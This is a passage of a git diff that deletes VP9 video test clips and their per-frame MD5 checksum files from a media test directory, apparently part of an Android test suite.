-a651d949b4c8f0e455c6592dc98385f7  vp90-2-03-size-202x196-202x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x198.vp9
deleted file mode 100644
index de8d042..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x198_vp9_md5
deleted file mode 100644
index fa76001..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-181edc4ebeeff7f0527b93b84d5d8efb  vp90-2-03-size-202x198-202x198-0001.i420
-132c71b634fb67eed51fcdef1775b6b2  vp90-2-03-size-202x198-202x198-0002.i420
-fd41144770765fc893adc5843ebe32e4  vp90-2-03-size-202x198-202x198-0003.i420
-77dcbaea101142940b6a78a271842829  vp90-2-03-size-202x198-202x198-0004.i420
-01737c38c1ac711a9744256788211177  vp90-2-03-size-202x198-202x198-0005.i420
-31cd0b5f621daac309c6f249f4c26cd8  vp90-2-03-size-202x198-202x198-0006.i420
-e06d34e570dc46904fdb9eeb55811464  vp90-2-03-size-202x198-202x198-0007.i420
-71bf55030373bde1eaeb52d1e97bfa4a  vp90-2-03-size-202x198-202x198-0008.i420
-e96063ff02e8a23a666222b59391de9c  vp90-2-03-size-202x198-202x198-0009.i420
-5aa0079168ab5069e8a3064f9e2a6d8b  vp90-2-03-size-202x198-202x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x200.vp9
deleted file mode 100644
index 79ec044..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x200_vp9_md5
deleted file mode 100644
index 1e7817ef..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-20c41d4a1271183dbbc7a44e6b90ea80  vp90-2-03-size-202x200-202x200-0001.i420
-bd8c1fba8d8742f4d98b7d5097c8c828  vp90-2-03-size-202x200-202x200-0002.i420
-55cbe06a925009c1b1f9b609b60b4c1d  vp90-2-03-size-202x200-202x200-0003.i420
-78e80c7cf1f142e2dda1bc269b5b3e00  vp90-2-03-size-202x200-202x200-0004.i420
-42ee8157a4c8af6670b81e9324b251e9  vp90-2-03-size-202x200-202x200-0005.i420
-022bdf5a2e1ea5f98503cd25b383ae53  vp90-2-03-size-202x200-202x200-0006.i420
-c2073865386a991da01966878ce1ce6d  vp90-2-03-size-202x200-202x200-0007.i420
-6a5b95cd4eff0836b9180a25f663d36a  vp90-2-03-size-202x200-202x200-0008.i420
-5e5498c357340d4755dc98eb0669f103  vp90-2-03-size-202x200-202x200-0009.i420
-0907d5e4020111b1ecfe707df71bcd8a  vp90-2-03-size-202x200-202x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x202.vp9
deleted file mode 100644
index 27a554c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x202_vp9_md5
deleted file mode 100644
index f5ef776..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-610cef52d35e9c641f2b8c10489c3d12  vp90-2-03-size-202x202-202x202-0001.i420
-1f84062e607d4798b0544739fe0da99c  vp90-2-03-size-202x202-202x202-0002.i420
-ea379947b5c52ea3989dfc3f47c729d9  vp90-2-03-size-202x202-202x202-0003.i420
-1d06b72f06178cbb6bb5d188d22bff43  vp90-2-03-size-202x202-202x202-0004.i420
-25bd41bd7607f88a01aa0cdc336c9975  vp90-2-03-size-202x202-202x202-0005.i420
-86836a95a7a9fb1eefb20f7c5a15a9ab  vp90-2-03-size-202x202-202x202-0006.i420
-d8eb3fecce1b646b9877cd4fcca9f9bf  vp90-2-03-size-202x202-202x202-0007.i420
-a057e0b29e4ac9717452cc478c418c12  vp90-2-03-size-202x202-202x202-0008.i420
-9a3bab91b4f0fff174536b1609c9632c  vp90-2-03-size-202x202-202x202-0009.i420
-d1cd93975f746b6cae490aae31f89e7e  vp90-2-03-size-202x202-202x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x208.vp9
deleted file mode 100644
index 3a532a0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x208_vp9_md5
deleted file mode 100644
index 7eae1c8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d2128e290be81bb0700ebe19e3faed4f  vp90-2-03-size-202x208-202x208-0001.i420
-dccaecb7e4ddb7e4224221a659af2a43  vp90-2-03-size-202x208-202x208-0002.i420
-be8e0966aaf3a9fe9164f63695dc3b62  vp90-2-03-size-202x208-202x208-0003.i420
-da944fadc3a239c2254678cadb4cf7fa  vp90-2-03-size-202x208-202x208-0004.i420
-3c270f3c02fcbd192b7f896f3f9ee6d9  vp90-2-03-size-202x208-202x208-0005.i420
-0b3ccda0a87c37e40104ae2f1060e8e9  vp90-2-03-size-202x208-202x208-0006.i420
-254253aba91758f302e7177e614596be  vp90-2-03-size-202x208-202x208-0007.i420
-b1501a4e372a5249e74aab77e57a28f1  vp90-2-03-size-202x208-202x208-0008.i420
-c4497fea1cefed5cf2b2908620153d26  vp90-2-03-size-202x208-202x208-0009.i420
-5ba20dfa2400b15b5394f315c5c3707d  vp90-2-03-size-202x208-202x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x210.vp9
deleted file mode 100644
index 69c00a0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x210_vp9_md5
deleted file mode 100644
index 3d0ee16..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e4663a28cabbfdd3815efda2d38debcc  vp90-2-03-size-202x210-202x210-0001.i420
-3cc7dbec64e9f697f40d740a72c09fc7  vp90-2-03-size-202x210-202x210-0002.i420
-f108981e0ce9c6c501b9ac61d0f1ba44  vp90-2-03-size-202x210-202x210-0003.i420
-63191c7aceb8ac6b030cc1a4b3cda18c  vp90-2-03-size-202x210-202x210-0004.i420
-b0a527ae3aafe94d13573199c6f4944f  vp90-2-03-size-202x210-202x210-0005.i420
-1be14b213ebf1d653468b8c16bae03fb  vp90-2-03-size-202x210-202x210-0006.i420
-44e5a8333a043cd93b9d1cc78e5f188f  vp90-2-03-size-202x210-202x210-0007.i420
-bfd7619f990f20e23b47d0738a6a8449  vp90-2-03-size-202x210-202x210-0008.i420
-800405f45ca5198014ef8d8521b044fa  vp90-2-03-size-202x210-202x210-0009.i420
-dca4eda872349708f54486433efc8225  vp90-2-03-size-202x210-202x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x224.vp9
deleted file mode 100644
index 9e24686..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x224_vp9_md5
deleted file mode 100644
index 50b423d..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1d318f05310f6d40646f23c62c7eafe4  vp90-2-03-size-202x224-202x224-0001.i420
-42870bd73e1a0c5d84b986db3d24f0f0  vp90-2-03-size-202x224-202x224-0002.i420
-afaac676150286143c6fec7992a81467  vp90-2-03-size-202x224-202x224-0003.i420
-128f84400c272628e802c2369b6bf548  vp90-2-03-size-202x224-202x224-0004.i420
-9adc24d69f12349d8b17c84f5c111767  vp90-2-03-size-202x224-202x224-0005.i420
-b33d2f7a1955248652701f2ade8ab55d  vp90-2-03-size-202x224-202x224-0006.i420
-b8acc23721097fce6c8835f5fcfaa6ee  vp90-2-03-size-202x224-202x224-0007.i420
-b63bf9a08e4dc5879bbd91efaec95960  vp90-2-03-size-202x224-202x224-0008.i420
-96e8fe29935266f6bd486b99f917eabc  vp90-2-03-size-202x224-202x224-0009.i420
-54be14f8dde6857867cd4581f8557044  vp90-2-03-size-202x224-202x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_202x226.vp9
deleted file mode 100644
index eff9809..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_202x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_202x226_vp9_md5
deleted file mode 100644
index 88d3400..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_202x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5aa0f439c58c6335cd86d4238a8c4b68  vp90-2-03-size-202x226-202x226-0001.i420
-3616cc306ec05f89d9b0db63200e4abf  vp90-2-03-size-202x226-202x226-0002.i420
-424e98f8ec0ebf2a326a917ee0159bbe  vp90-2-03-size-202x226-202x226-0003.i420
-ed5710e412f056fa8c1a277d86dd45d7  vp90-2-03-size-202x226-202x226-0004.i420
-760b850feab485f0bda6cde9943102bc  vp90-2-03-size-202x226-202x226-0005.i420
-f4bd90ca72aa707f9b68e6192ac230fd  vp90-2-03-size-202x226-202x226-0006.i420
-58e4aad0bc2a9f3fc279df10208bd6f6  vp90-2-03-size-202x226-202x226-0007.i420
-b42f84723dd167d5c544d539275ad537  vp90-2-03-size-202x226-202x226-0008.i420
-5f54feca21331646e68797380260932a  vp90-2-03-size-202x226-202x226-0009.i420
-8e787dd318024aff25af8b4d85040f3c  vp90-2-03-size-202x226-202x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x196.vp9
deleted file mode 100644
index 6f6807f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x196_vp9_md5
deleted file mode 100644
index f32709e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-6195975181969789e101a83a555d13f7  vp90-2-03-size-208x196-208x196-0001.i420
-2aca5e3307d68a5e969564a943b8e723  vp90-2-03-size-208x196-208x196-0002.i420
-aee4b00472ee0b6b7a13e31069181db4  vp90-2-03-size-208x196-208x196-0003.i420
-7808595b650a7c14d8a4800db7c014e0  vp90-2-03-size-208x196-208x196-0004.i420
-746eb763b176286aa875ae06b81118c4  vp90-2-03-size-208x196-208x196-0005.i420
-0e8a78ec061319e27d49ca25e333e017  vp90-2-03-size-208x196-208x196-0006.i420
-ac4432db2bb0971d5f70a7dda1210c19  vp90-2-03-size-208x196-208x196-0007.i420
-78870f4bd767f8ab65d369a5b322735d  vp90-2-03-size-208x196-208x196-0008.i420
-eee9ddd91209348a64259db6a4a3f80c  vp90-2-03-size-208x196-208x196-0009.i420
-c48d21e36a9c0d0d1c64db3f776b3002  vp90-2-03-size-208x196-208x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x198.vp9
deleted file mode 100644
index d6bea55..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x198_vp9_md5
deleted file mode 100644
index a57dc44..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-1f1fa3cdf865d8c75183f4ba6203b675  vp90-2-03-size-208x198-208x198-0001.i420
-ead33ead8fea5bd5d831a79f4c75a590  vp90-2-03-size-208x198-208x198-0002.i420
-9a406b4464989fd4bb7cbcb1b18aeaa7  vp90-2-03-size-208x198-208x198-0003.i420
-fab3d228e7032f2cdc440dbfcb17c4c1  vp90-2-03-size-208x198-208x198-0004.i420
-f2f3f8b8d9ece21c359c89245157c613  vp90-2-03-size-208x198-208x198-0005.i420
-321f5a8ecb2cec1780013fe72c237bde  vp90-2-03-size-208x198-208x198-0006.i420
-6f025b1f4ef61d261f05ca149a9470e6  vp90-2-03-size-208x198-208x198-0007.i420
-85abcc8d8e6b5f286ed6aa6c588cf416  vp90-2-03-size-208x198-208x198-0008.i420
-b28d710dd44389f774aa02edd6327d5c  vp90-2-03-size-208x198-208x198-0009.i420
-79374bef9819eecafa7396d70c80be7f  vp90-2-03-size-208x198-208x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x200.vp9
deleted file mode 100644
index 40aebf2..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x200_vp9_md5
deleted file mode 100644
index 35756a2..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-ff2dda3ddbe8b461d960baba0ad132bf  vp90-2-03-size-208x200-208x200-0001.i420
-d6935ac8f2250316f498e8f01afa04fd  vp90-2-03-size-208x200-208x200-0002.i420
-57173ebaef7b21698c62fa959cb40ead  vp90-2-03-size-208x200-208x200-0003.i420
-f354c76d7cf45e9f3adfdde0f6b3b5c9  vp90-2-03-size-208x200-208x200-0004.i420
-fbc968ecd214b01509a76996e45dd09a  vp90-2-03-size-208x200-208x200-0005.i420
-9c314b51a80f2a081adf9b9cc26f5f8a  vp90-2-03-size-208x200-208x200-0006.i420
-f22883a6a5b74ffa4bb16f22d496b5a5  vp90-2-03-size-208x200-208x200-0007.i420
-eb4fa914fc5658d43e32c48a0c39bab3  vp90-2-03-size-208x200-208x200-0008.i420
-d763c0c2f44b68e1e3fe9e165334eb0b  vp90-2-03-size-208x200-208x200-0009.i420
-344e1075a48cd61e79b0550809b4c91f  vp90-2-03-size-208x200-208x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x202.vp9
deleted file mode 100644
index eb6c574..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x202_vp9_md5
deleted file mode 100644
index cd27e7c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-e5164f87feadf4b65257f578affc3e04  vp90-2-03-size-208x202-208x202-0001.i420
-6aee5a3b6c3a096dfc1594762b2b248f  vp90-2-03-size-208x202-208x202-0002.i420
-cb1c9dce6fdf7372e0eb2397251f0ade  vp90-2-03-size-208x202-208x202-0003.i420
-4fe5f24c08690c966b6a14ac3422510b  vp90-2-03-size-208x202-208x202-0004.i420
-b22a273814523251b365f3278d8a3a9c  vp90-2-03-size-208x202-208x202-0005.i420
-190d9dff373023a25427fc859545ea24  vp90-2-03-size-208x202-208x202-0006.i420
-a6307f38718ed686cb195e3833ab27ab  vp90-2-03-size-208x202-208x202-0007.i420
-79630bec5a91d69aca42a910413c2800  vp90-2-03-size-208x202-208x202-0008.i420
-2231cec9c03714b8671e5e1456b148c9  vp90-2-03-size-208x202-208x202-0009.i420
-278458f6734a24f2eb9bc877a6e9d7df  vp90-2-03-size-208x202-208x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x208.vp9
deleted file mode 100644
index 16612c0..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x208_vp9_md5
deleted file mode 100644
index 921cbdd..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-6bff7c1f4c5ef8412ebf669852c70de6  vp90-2-03-size-208x208-208x208-0001.i420
-fdfd7a2308de9509a41fed2880a8f0f5  vp90-2-03-size-208x208-208x208-0002.i420
-d8b464811e9c3b8a6db9cc277ac88c59  vp90-2-03-size-208x208-208x208-0003.i420
-b8fa29e79be3126dd74310d6dd09c747  vp90-2-03-size-208x208-208x208-0004.i420
-dad29803fed686887a0873eb78a469c6  vp90-2-03-size-208x208-208x208-0005.i420
-684de29bbf800f52aea4af9850bcc5b3  vp90-2-03-size-208x208-208x208-0006.i420
-06862dbce7571b4487766b179a596e1d  vp90-2-03-size-208x208-208x208-0007.i420
-99582a966bc7070112e214ce7912e485  vp90-2-03-size-208x208-208x208-0008.i420
-a61158581a5719cb0cf13fb3301cb8c4  vp90-2-03-size-208x208-208x208-0009.i420
-9c2295332f34fee3a249262c8ba843bc  vp90-2-03-size-208x208-208x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x210.vp9
deleted file mode 100644
index dfec3e8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x210_vp9_md5
deleted file mode 100644
index ab5c7d8..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b15c7e98ddd137237b062cb51667522f  vp90-2-03-size-208x210-208x210-0001.i420
-00c594c68b19ef39a79a38e86853dc64  vp90-2-03-size-208x210-208x210-0002.i420
-e6742abe3d2c178af4298e121391c299  vp90-2-03-size-208x210-208x210-0003.i420
-efe5387b38c32f1c25c0fc9836921074  vp90-2-03-size-208x210-208x210-0004.i420
-e0e696f4c18af09a74e052903db1468c  vp90-2-03-size-208x210-208x210-0005.i420
-f1960270c6704ca47caed63161716025  vp90-2-03-size-208x210-208x210-0006.i420
-a1542d7749cfa447481acd7835db838a  vp90-2-03-size-208x210-208x210-0007.i420
-a91fb10a17d1d056667860cc43c81dae  vp90-2-03-size-208x210-208x210-0008.i420
-b673bfbb722522b4e7b5e9c5b85cc31f  vp90-2-03-size-208x210-208x210-0009.i420
-8b4bb57d3cf609cbf9564a96a6ca6ade  vp90-2-03-size-208x210-208x210-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x224.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x224.vp9
deleted file mode 100644
index b60fb5d..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x224.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x224_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x224_vp9_md5
deleted file mode 100644
index bcb9657..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x224_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-479d07bb96905ad7d5f0ec3ee12b41ba  vp90-2-03-size-208x224-208x224-0001.i420
-4b6555aaed8e5a45879773f1bf87962e  vp90-2-03-size-208x224-208x224-0002.i420
-c5f42cb796dd7b6622957016ca6b502f  vp90-2-03-size-208x224-208x224-0003.i420
-f06c954483560866fbff10bae7ba0785  vp90-2-03-size-208x224-208x224-0004.i420
-af83aff39999852310395fe241ccb49b  vp90-2-03-size-208x224-208x224-0005.i420
-108377d6f30ceba6f2377330af2da38f  vp90-2-03-size-208x224-208x224-0006.i420
-e81e6e0b37a7b92368ede9cab124567c  vp90-2-03-size-208x224-208x224-0007.i420
-59dbe51caaed8e6e825c78c5901fb22c  vp90-2-03-size-208x224-208x224-0008.i420
-24686123ea14c8d1a9b447733df0aaab  vp90-2-03-size-208x224-208x224-0009.i420
-ce2035c49237c8076f8dac0d3f61848e  vp90-2-03-size-208x224-208x224-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x226.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_208x226.vp9
deleted file mode 100644
index 4541cf9..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x226.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_208x226_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_208x226_vp9_md5
deleted file mode 100644
index e0a7e53..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_208x226_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-33aa4af6153570518c59960a0c959053  vp90-2-03-size-208x226-208x226-0001.i420
-024fa27dee80ad199528052aaa8d42c7  vp90-2-03-size-208x226-208x226-0002.i420
-b949ef118c7e7e62a8b88e2308219ef9  vp90-2-03-size-208x226-208x226-0003.i420
-3061ee13696ced5e10a646fdd5ca6c34  vp90-2-03-size-208x226-208x226-0004.i420
-c4984bd53dcb7b9e2570f2965d077b2f  vp90-2-03-size-208x226-208x226-0005.i420
-d564c35c5caadcfd9f80377fa414af72  vp90-2-03-size-208x226-208x226-0006.i420
-9b7d7b10ee2f3eb7a9ffddcebff45b97  vp90-2-03-size-208x226-208x226-0007.i420
-a0ede7085b04cbb3519d56b2e4347d14  vp90-2-03-size-208x226-208x226-0008.i420
-63d7af745f9e6a34b618db28fe878ffd  vp90-2-03-size-208x226-208x226-0009.i420
-85077809087e7bdfb9215bfcd1f1bbc0  vp90-2-03-size-208x226-208x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x196.vp9
deleted file mode 100644
index a5eca1f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x196_vp9_md5
deleted file mode 100644
index c23a9af..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5c69f80da667bfd20394995e93e4cd2b  vp90-2-03-size-210x196-210x196-0001.i420
-13363cd8e52ca8c1053db1c84c111bc9  vp90-2-03-size-210x196-210x196-0002.i420
-108976afdf99f59276d6f89879e3bdc3  vp90-2-03-size-210x196-210x196-0003.i420
-770ce25985e6b479d52a9185876cfe83  vp90-2-03-size-210x196-210x196-0004.i420
-eba7cbb3c91989aa4c13487ed01675b5  vp90-2-03-size-210x196-210x196-0005.i420
-f391c30a47c33a250dd20cb12f0a6e01  vp90-2-03-size-210x196-210x196-0006.i420
-c38e12de302177d19dd744a3ea227e90  vp90-2-03-size-210x196-210x196-0007.i420
-8c9370439a0b7289919c6ee68e00570f  vp90-2-03-size-210x196-210x196-0008.i420
-ac3748c4b99c4f1aba7430ae12c19cfd  vp90-2-03-size-210x196-210x196-0009.i420
-e5228dc84f7933ccc9306907d737ad3c  vp90-2-03-size-210x196-210x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x198.vp9
deleted file mode 100644
index b11e214..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x198_vp9_md5
deleted file mode 100644
index 7776c06..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d83ee2413e701ae405a2b74863d4c5a9  vp90-2-03-size-210x198-210x198-0001.i420
-f2ebc0f7dc171e0e5d2911c7ee2df5e1  vp90-2-03-size-210x198-210x198-0002.i420
-e189ef4d8add227352a0d6ee62748ee7  vp90-2-03-size-210x198-210x198-0003.i420
-6dcb1dca1a0e2ba85034aba9f021427e  vp90-2-03-size-210x198-210x198-0004.i420
-e98c633ba8912f6d65374055ec9af543  vp90-2-03-size-210x198-210x198-0005.i420
-82111cb7d5addce16d9bcba9e0a99503  vp90-2-03-size-210x198-210x198-0006.i420
-bbbc73002f794ab0261fe384b2524226  vp90-2-03-size-210x198-210x198-0007.i420
-0bcdc427df47123959f7de9c44fe291e  vp90-2-03-size-210x198-210x198-0008.i420
-505776b3d82e38612393d60b6aa55c1d  vp90-2-03-size-210x198-210x198-0009.i420
-feb93758242b847f3d53bb4c97b0ad9c  vp90-2-03-size-210x198-210x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x200.vp9
deleted file mode 100644
index 93ace8c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x200_vp9_md5
deleted file mode 100644
index 20dea3f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-2465560246c1ee24d937cb9cbc1422f1  vp90-2-03-size-210x200-210x200-0001.i420
-8926b628dcdf2182516822c7d0d778ec  vp90-2-03-size-210x200-210x200-0002.i420
-9bd14d3ebc7fe81c4223116de1b9c2ec  vp90-2-03-size-210x200-210x200-0003.i420
-2d029d8461c20236066c0786950540fb  vp90-2-03-size-210x200-210x200-0004.i420
-39412b6e62de43bd40c58d4e2e38daf8  vp90-2-03-size-210x200-210x200-0005.i420
-3ea211c24f606b29582147bf872994dd  vp90-2-03-size-210x200-210x200-0006.i420
-261c37f88bf7f40549642578d9464aeb  vp90-2-03-size-210x200-210x200-0007.i420
-98551d44de1e23165e05975babb72446  vp90-2-03-size-210x200-210x200-0008.i420
-1d85ad052dd27e7e6bfea5d2babf5176  vp90-2-03-size-210x200-210x200-0009.i420
-ad18b6a3698a3674c2488f927810eb0d  vp90-2-03-size-210x200-210x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x202.vp9
deleted file mode 100644
index e84b816..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x202_vp9_md5
deleted file mode 100644
index 8d7e06e..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-5d01848aee2b324f2e356627f9c39532  vp90-2-03-size-210x202-210x202-0001.i420
-b671fe34bc0e5a682baff929d26ea627  vp90-2-03-size-210x202-210x202-0002.i420
-e9a40f87ca5aaa5af9772e286feb9063  vp90-2-03-size-210x202-210x202-0003.i420
-4730f60d4c856e8ad877c0d8b1729ec4  vp90-2-03-size-210x202-210x202-0004.i420
-317fc01349e0984c23d15f97a3a0f442  vp90-2-03-size-210x202-210x202-0005.i420
-aea89116ffe48340d1752d1ad5195529  vp90-2-03-size-210x202-210x202-0006.i420
-14694ba65b6308e5f5571486b62ca1cc  vp90-2-03-size-210x202-210x202-0007.i420
-53c6102d877c9a30eaa20ddc45207ea0  vp90-2-03-size-210x202-210x202-0008.i420
-7d1e898b1bead878224e8ff15d624bd9  vp90-2-03-size-210x202-210x202-0009.i420
-37b684bfae5dbd33e8dbb8332b94ce8a  vp90-2-03-size-210x202-210x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_210x208.vp9
deleted file mode 100644
index c69fb3f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_210x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_210x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_210x208_vp9_md5
deleted file mode 100644
index 72f9259..0000000
